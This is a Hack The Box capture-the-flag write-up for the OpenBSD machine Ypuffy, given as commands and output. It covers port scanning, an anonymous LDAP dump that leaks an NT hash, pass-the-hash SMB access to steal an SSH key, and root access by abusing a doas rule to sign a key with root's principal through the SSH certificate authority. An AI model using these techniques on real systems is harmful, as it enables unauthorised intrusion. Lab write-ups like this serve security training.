HTB Write-up: Ypuffy
Ypuffy is a medium difficulty OpenBSD machine. The OpenBSD operating system provides a bit of a twist compared to the usual Linux and Windows challenges. The path to user is relatively simple. Careful enumeration, a bit of research on YP LDAP, and the knowledge within the man
pages of smbclient
will get you there. Elevating priveleges to root
is a bit trickier, and requires putting a few pieces of information together that may not be so obviously related. With the right bit of reference material provided by our Big Brother Facebook, the path to root
becomes clear.
Note: I completed this challenge on January 5th, 2019, however I’m just now writing it up in January 2020. As such, some of the details are sparse.
User
To begin enumeration, the masscan
tool was used to scan the target system for open ports.
root@kali:~/workspace/hackthebox/Ypuffy# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.107
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-26 23:05:58 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 445/tcp on 10.10.10.107
Discovered open port 22/tcp on 10.10.10.107
Discovered open port 389/tcp on 10.10.10.107
Discovered open port 80/tcp on 10.10.10.107
Discovered open port 139/tcp on 10.10.10.107
This scan revealed that a variety of ports were open and listening for connections. TCP ports 445 and 139 are used with SMB, port 389 is used for LDAP, port 80 is used as a HTTP port, and port 22 is SSH. Taking these open ports, the nmap
tool was then used to further enumerate the open ports.
root@kali:~/workspace/hackthebox/Ypuffy# nmap -p 445,22,389,80,139 -sC -sV -oA scans/discovered-tcp 10.10.10.107
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-26 16:11 MST
Nmap scan report for 10.10.10.107
Host is up (0.066s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h40m22s, deviation: 2h53m12s, median: 22s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-12-26T18:12:10-05:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-12-26T23:12:11
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.04 seconds
The nmap
output regarding port 80 suggests that this is a OpenBSD system. Browsing to http://10.10.10.107
does not reveal much, which suggests this webserver is possibly being used for something other than hosting a website. The scan has also reported that anonymous binds are allowed on the LDAP server on port 389. LDAP stands for “Lightweight Directory Access Protocol” and is often used for user validation validation to particular resources, amongst other things. The LDAP service running port 389 was enumerated further using the nmap
scripting engine.
root@kali:~/workspace/hackthebox/Ypuffy# nmap --script /usr/share/nmap/scripts/ldap-search.nse 10.10.10.107
Querying the LDAP service reveals some information about the target system, including some configured users.
...
dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
uid: bob8791
cn: Bob
objectClass: account
objectClass: posixAccount
objectClass: top
userPassword: {BSDAUTH}bob8791
uidNumber: 5001
gidNumber: 5001
gecos: Bob
homeDirectory: /home/bob8791
loginShell: /bin/ksh
dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
uid: alice1978
cn: Alice
objectClass: account
objectClass: posixAccount
objectClass: top
objectClass: sambaSamAccount
userPassword: {BSDAUTH}alice1978
uidNumber: 5000
gidNumber: 5000
gecos: Alice
homeDirectory: /home/alice1978
loginShell: /bin/ksh
sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
displayName: Alice
sambaAcctFlags: [U ]
sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
sambaPwdLastSet: 1532916644
...
The userPassword
fields look juicy, but some research on the setup of an OpenBSD LDAP server and YP domains via ypldap
explains that the presence of userPassword
means that the configured user will be authenitacted by {BSDAUTH}
and that passwords are checked against a Blowfish hash stored in LDAP.
The entry for the alice1978
user additionally contains a value in the sambaNTPassword
field. This value is a Samba password that is hashed using the MD4 algorithm. With the help of the smbclient
tool, the hashed Samba password can be used to authenticate to the SMB service on port 445 as the user alice1978
.
From man smbclient
:
--pw-nt-hash
The supplied password is the NT hash.
First, the available Samba shares were listed via the command below with 0B186E661BBDBDCF6047784DE8B9FD8B
as the password.
root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash -L //10.10.10.107
Enter WORKGROUP\alice1978's password:
Sharename Type Comment
--------- ---- -------
alice Disk Alice's Windows Directory
IPC$ IPC IPC Service (Samba Server)
...
Next, the alice
share was accessed once again using the hashed Samba password for authentication.
root@kali:~/workspace/hackthebox/Ypuffy# smbclient --user=alice1978 --pw-nt-hash //10.10.10.107/alice
After connecting and listing the files with the dir
command, the only file present in the alice
SMB share is my_private_key.ppk
. The .ppk
extension suggests that this is a PuTTY private key file, and that the contents within are the alice1978
user’s private SSH key. The my_private_key.ppk
file can be copied to the attacking system using the get
SMB command.
smb: \> get my_private_key.ppk
getting file \my_private_key.ppk of size 1460 as my_private_key.ppk (6.0 KiloBytes/sec) (average 6.0 KiloBytes/sec)
With the alice1978
user’s private SSH key, it is likely possible to access the target system via SSH after some slight modifications to the my_private_key.ppk
file. Note that the nmap
scan suggests that the SSH server running on port 22 of the target system is OpenSSH server (confirmed below).
root@kali:~/workspace/hackthebox/Ypuffy# telnet 10.10.10.107 22
Trying 10.10.10.107...
Connected to 10.10.10.107.
Escape character is '^]'.
SSH-2.0-OpenSSH_7.7
As the my_private_key.ppk
file is a PuTTY private key file, the must first be converted to a format that is compatible with OpenSSH before connecting to the OpenSSH server on the target system. This can be accomplished using the puttygen
tool as shown below (the tool can be installed with apt-get install putty-tools
).
root@kali:~/workspace/hackthebox/Ypuffy# puttygen my_private_key.ppk -O private-openssh -o alice1978-opensshkey
The target system can now be accessed as the alice1978
.
root@kali:~/workspace/hackthebox/Ypuffy# ssh alice1978@10.10.10.107 -i alice1978-opensshkey
The user.txt
flag can now be read as the alice1978
user.
ypuffy$ whoami
alice1978
ypuffy$ cat user.txt
acbc06eb2982b14c2756b6c6e3767aab
Root
Once on the system as the low-privilege user alice1978
a couple of items stand out. Once low privilege access to a system is gained, it is common practice to check what privileges the compromised user has. On Linux, this can be done with sudo -l
. Windows has the runas
command, but privileges are generally defined by user groups and privileges which can be determined with the whoami /all
command. On OpenBSD, the doas
command most strongly correlates to the Linux sudo
and the Windows runas
commands. The configuration for doas
is located in /etc/doas.conf
. The contents of the /etc/doas.conf
file on the target system are shown below.
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
This means that the user alice1978
is able to run the command /usr/bin/ssh-keygen
with the privileges/permissions of the userca
user. Enumerating the /home/userca
directory, it appears that the target server is acting as a certificate authority, and that the userca
user is used to authorize certficates. While certificate authorities are most commonly used to validate the identities of websites on the internet, in this case of ypuffy
the certificate authority is being used to validate SSH keys. This is evident due to the presence of a ca
private SSH key and a ca.pub
public SSH key in the /home/userca
directory.
ypuffy$ ls -lah
...
-r-------- 1 userca userca 1.6K Jul 30 2018 ca
-r--r--r-- 1 userca userca 410B Jul 30 2018 ca.pub
ypuffy$ file ca.pub
ca.pub: OpenSSH RSA public key
This idea is reinforced further by the sshauth.sql
file found in the /home/bob8791
directory, the contents of which are shown below.
CREATE TABLE principals (
uid text,
client cidr,
principal text,
PRIMARY KEY (uid,client,principal)
);
CREATE TABLE keys (
uid text,
key text,
PRIMARY KEY (uid,key)
);
grant select on principals,keys to appsrv;
This suggests that there is a database on the server that contains a principals
table and a keys
table.
After a bit of research, an article was found that explains how a certificate authority can be used to provide specific priveleges to specific users via SSH. In short, the CA infrastructure receives the public keys of users, signs them using the CA’s private key (the ca
key, in this case), and returns the signed certificate back to the client. The returned certificate will provide all of the principals allowed for the specific user. A server can be configured to only accept public SSH keys that are signed with certain principals.
Following along with the article suggests that much of the configuration resides in the /etc/ssh/sshd_config
file. Viewing the contents of the /etc/ssh/sshd_config
file reveals the following (partial) output.
...
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
...
This suggests that the SQL database mentioned previously is being queried via the curl
commands shown above. Testing the first command shown above with the low-priveleged alice1978
user reveals the following.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=keys&username=alice1978"
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2dOrSn02quxBoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HKO/aCvsaYPJa2zvxdtp1JGPbN5zBAjh7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWxivAMf2AqY5e1adjpOfo6TwmB0Cyx0rIYMvsog3HnqyHcVR/Ufw== rsa-key-20180716
This is expected, as the query returned the public key for the alice1978
user that has been signed by the CA user’s (userca
)
private key and stored in an authorized_keys
file, thus granting alice1978
(or anyone with the user’s private SSH key) access to the system.
The output of the second curl
command from the /etc/ssh/sshd_config
file is shown below.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=principals&username=alice1978"
alice1978
This queries the principals
table that determines what privileges are granted to a specific user whose public SSH key was signed using the CA user’s private key. The alice1978
user has the alice1978
principal.
Querying the root
user’s entry in the principals
table shows the following.
ypuffy$ /usr/local/bin/curl "http://127.0.0.1/sshauth?type=principals&username=root"
3m3rgencyB4ckd00r
The principal for the root
user is 3m3rgencyB4ckd00r
.
Using this information, a new SSH key can first be created with the 3m3rgencyB4ckd00r
principal and then signed by the certificate authority (userca
) by running the allowed doas
command as the low-privileged alice1978
user. The signed key can then be used to SSH to the system as root
. This process is outlined below.
First, a new key pair was generated:
ypuffy$ ssh-keygen -t ecdsa
Generating public/private ecdsa key pair.
Enter file in which to save the key (/home/alice1978/.ssh/id_ecdsa):
Created directory '/home/alice1978/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/alice1978/.ssh/id_ecdsa.
Your public key has been saved in /home/alice1978/.ssh/id_ecdsa.pub.
The key fingerprint is:
SHA256:enSy3eVOgL8mMNWsgnyvxytoPloAIbDs0U8cptjj1MM alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[ECDSA 256]---+
|+ . o |
|.o+.* . |
|.+.* E o |
|. +.+ . ..o |
| . ..o .S.o.. . |
| .oo==.o + |
| ooo*. o o |
| .+.. = .+ |
| .+...+.+. . |
+----[SHA256]-----+
The newly-created public key id_ecdsa.pub
was then copied to the /tmp
directory so that the signing process does not fail due to file permissions.
ypuffy$ cp .ssh/id_ecdsa.pub /tmp
Then, the key was signed using the doas
command that is available to the alice1978
user. From man ssh-keygen
, the -s
flag specifies which private key should be used for signing, the -I
flag specifies the key’s identity, the -n
flag specifies which principal(s) the key should be signed with, the -V
flag specifies the key’s validity duration, and the -z
flag specifies the serial number to embed into the certificate.
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I whatever -n 3m3rgencyB4ckd00r -V +1w -z 1 /tmp/id_ecdsa.pub
Signed user key /tmp/id_ecdsa-cert.pub: id "whatever" serial 1 for 3m3rgencyB4ckd00r valid from 2020-01-02T22:31:00 to 2020-01-09T22:32:33
As suggested in the output, the /tmp/id_ecdsa-cert.pub
file as created as a result of the above command. The id_ecdsa-cert.pub
is the signed public key. The contents of the file can be read and copied to /home/alice1978/.ssh/id_ecdsa-cert.pub
. With the key signed, the ssh root@localhost
command can be issued to elevate privileges to the root
user.
ypuffy$ ssh root@localhost
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
From here, the root.txt
flag can be read.
ypuffy# cat root.txt
1265f8e0<redacted>